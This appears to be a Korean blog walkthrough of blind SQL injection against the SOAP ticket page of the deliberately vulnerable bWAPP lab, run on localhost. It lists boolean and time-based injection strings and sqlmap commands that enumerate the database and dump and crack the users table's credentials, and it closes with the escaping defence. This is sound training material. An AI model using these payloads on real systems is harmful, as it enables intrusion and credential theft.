Code::Security/비박스(BWAPP)

비박스(bWAPP) SQL Injection - Blind (WS/SOAP)

태군 코드 2021. 6. 22. 16:37
반응형

이 도구를 이용하여 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다.

A1 - SQL Injection - Blind (WS/SOAP)

 

SOAP는 애플리케이션 계층의 프로토콜을 전송 계층의 프로토콜로 사용할 수 있게 하는 프로토콜입니다. 즉 HTTP, HTTPS, SMTP 등을 통하여 XML 기반의 메시지가 네트워크에서 교환됩니다. 웹 서비스는 네트워크에 있는 정보를 모아 서비스로 제공하므로 SOAP를 통하여 물리적으로 인접하지 않은 서버에 정보를 요청하고 요청에 대한 응답 값을 확인할 수 있습니다.

 

sqli_5.php는 선택한 영화에 남아 있는 티켓 수를 출력하는 페이지로, 티켓 수 출력에 SOAP를 활용하여 예매 가능한 티켓 수를 사용자에게 보여 줍니다. sqli_5.php 페이지에서는 SOAP 기능을 통하여 Boolean Based SQL 인젝션이 가능하며, Time Based SQL 인젝션도 가능합니다.

 

sqli5.php 페이지

해당 문제 화면에서 Go 버튼을 눌렀을 경우 URL에 title이라는 파라미터가 보이는 걸 확인할 수 있습니다. title 변수에 작은따옴표를 입력하여 SQL 인젝션이 가능한지 알아보시기 바랍니다. SQL 인젝션 취약점이 있는 경우 SQL 오류 메시지를 출력합니다.

 

Boolean SQL 인젝션 공격이 가능한지도 확인하여 출력 결과를 확인해 보시기 바랍니다. 변수에 항상 참인 결과를 출력

' or 1=1#

 

title 변수에 주석을 입력하지 않고 항상 참인 결과를 출력하는 쿼리

' or 'a'='a

 

title 변수에 항상 결과가 거짓이 되는 쿼리

' or 'a'='b

 

Time Based SQL 인젝션을 이용한 쿼리

' or sleep(5) and 'a'='a

 

각각의 쿼리를 날렸을 때 변화되는 모습을 확인해 보시기 바랍니다.

title 변수를 이용한 SQL 인젝션 취약점 파악

해당 페이지는 SQL 인젝션 취약점이 존재하므로 유형을 선택하여 데이터 베이스 내용을 파악해 보도록 하겠습니다.

Bloolean Based SQL 인젝션을 이용한 데이터베이스 명을 알아내는 쿼리, length 함수를 사용하여 데이터베이스 명의 길이를 알아냅니다. 1부터 대입한 결과 5를 입력하면 SOAP 기능이 실행

' or length(database())=5 and 'a'='a

 

Time Based SQL 인젝션으로 데이터베이스 명을 알아내는 쿼리, 참일 경우 응답 시간 3초 지연

' or sleep(3) and length(database())=5 and 'a'='a

 

substring 함수로 데이터베이스의 이름을 추측하는 쿼리. a부터 값을 입력하였을 경우 b를 입력하였을 때 SOAP 기능이 실행됩니다. 따라서 데이터베이스 명은 'bOOOO'라는 것을 확인할 수 있습니다.

' or substring(database(),1,1)='b' and 'a'='a

 

하지만 일일이 쿼리를 입력하여 내용을 파악하는데 시간이 오래 걸리므로 SQL 인젝션 공격 자동화 도구인 sqlmap을 사용하여 Blind SQL 인젝션을 시도해 보도록 하겠습니다.

 

sqlmap 실행

sqlmap의 다른 옵션을 확인하려면 -h 옵션을 사용합니다.

-u 옵션 자동화 공격을 시도할 페이지의 주소를 입력

--data 옵션 변수명을 지정

--cookie 옵션 쿠키 값을 입력

-p 옵션 공격할 변수를 설정

-D 옵션 데이터베이스 지정

-T 옵션 데이터베이스의 테이블을 지정

-C 옵션 확인하려는 컬럼의 내용을 확인

--tables 옵션 데이터베이스의 테이블 내용을 파악

--columns 옵션 데이터베이스의 컬럼 내용을 파악

--dump 옵션 컬럼의 내용을 출력

--dbs 옵션 데이터 베이스의 구조를 확인

--time-sec 옵션 sqlmap 실행 전 지연 시간을 지정하는 옵션

--batch 옵션 sqlmap에 기본 설정된 값을 자동으로 입력하고 인젝션 진행

sqlmap -h 옵션

sqli_5.php 페이지의 Cookie 값 확인, 쿠키값 확인은 다양한 방법으로 확인이 가능합니다.

Burp Suite를 이용한 Cookie 값 확인

다음은 title 변수를 공격하여 데이터베이스의 구조를 확인해 보도록 하겠습니다.

sqlmap.py -u "http://127.0.0.1/bWAPP/sqli_5.php" --cookie="security_level=0; PHPSESSID=8t0tm7td45s5b8bksssrq86m63" --data "title=G.I.+Joe%3A+Retaliation&action=go" -p "title" --dbs

 

sqlmap 실행 결과 웹 서버의 데이터베이스 구조를 출력합니다. 

데이터베이스 구조 파악

이미 데이터베이스가 bfh 시작한다는 정보를 알고 있으므로 -D 옵션으로 데이터베이스를 'bWAPP'로 지정하도록 하겠습니다. 그다음 bWAPP의 테이블 내용을 파악하기 위하여 --tables 옵션을 사용하도록 하겠습니다.

sqlmap.py -u "http://127.0.0.1/bWAPP/sqli_5.php" --cookie="security_level=0; PHPSESSID=8t0tm7td45s5b8bksssrq86m63" --data "title=G.I.+Joe%3A+Retaliation&action=go" -p "title" -D bWAPP --tables

 

sqlmap 실행 결과 bWAPP 데이터베이스의 테이블 목록을 출력하는 것을 확인할 수 있습니다.

bWAPP의 테이블 목록 확인

테이블 중 users 테이블에 계정 정보가 있다고 추측하고, 테이블을 지정하는 -T옵션으로 users 테이블을 입력한 후 --columns옵션을 이용하여 테이블의 컬럼을 파악해 보도록 하겠습니다.

sqlmap.py -u "http://127.0.0.1/bWAPP/sqli_5.php" --cookie="security_level=0; PHPSESSID=8t0tm7td45s5b8bksssrq86m63" --data "title=G.I.+Joe%3A+Retaliation&action=go" -p "title" -D bWAPP -T users --columns

 

sqlmap 실행 결과 users 테이블의 컬럼을 출력합니다.

users 테이블의 컬럼내용을 파악

컬럼의 내용을 살펴보기 위하여 -C 옵션으로 확인하려는 컬럼을 입력합니다. 여기서는 중요 정보를 담고 있을 것 같은 login, email, password, secret 컬럼을 확인하도록 하겠습니다. 그런다음 --dump 옵션을 사용하여 컬럼의 내용을 출력해 보도록 하겠습니다.

sqlmap.py -u "http://127.0.0.1/bWAPP/sqli_5.php" --cookie="security_level=0; PHPSESSID=8t0tm7td45s5b8bksssrq86m63" --data "title=G.I.+Joe%3A+Retaliation&action=go" -p "title" -D bWAPP -T users -C login,email,password,secret --dump --batch

 

sqlmap 실행 중 중간에 뜨는 안내문에는 Yes의 줄임말은 Y를 입력하면 되고, 처음에 뜨는 안내 메시지는 Time Based SQL 인젝션의 응답을 최적화하는 값을 입력한다는 내용입니다. --time-sec 옵션을 사용하여 실행 전에 지연 시간을 지정할 수도 있습니다.

 

sqlmap에서 모든 컬럼 내용을 파악한 뒤 다시 안내 메시지를 출력합니다. 저장된 해시 값에 사전 공격을 시도한다는 메시지로, 해시 값을 평문으로 변경하고 싶으면 Y를 입력합니다.

 

sqlmap 실행 결과 사용자의 계정 정보를 출력하고, 비밀번호 부분은 해시값과 해시 값을 평문으로 변환한 값까지 출력되는 것을 확인할 수 있습니다.

컬럼의 내용을 확인

난이도 상에서는 작은따옴표를 입력하거나 Time Based SQL 인젝션을 시도하여도 SOAP 기능이 실행되지 않아서 티켓 수를 출력하지 않고 티켓이 있다는 결과만 확인이 됩니다. sqli_5.php 페이지의 코드를 확인하면 난이도 상에서는 sql_check_2 함수를 사용하여 입력 데이터를 우회하고 있습니다.

 

sqli_chesk_2 함수는 functions_external.php에 정의되어 있고 PHP 기본 제공 함수인 mysql_real_escape_string 함수를 사용하여 입력한 데이터를 우회합니다. mysql_real_escape_string 함수는 사용자 입력 값에 SQL 문법에서 사용하는 특수 문자가 있을 경우 백 슬래시를 붙여 입력 데이터를 SQL 문법으로 인식하지 않게 방어합니다.

반응형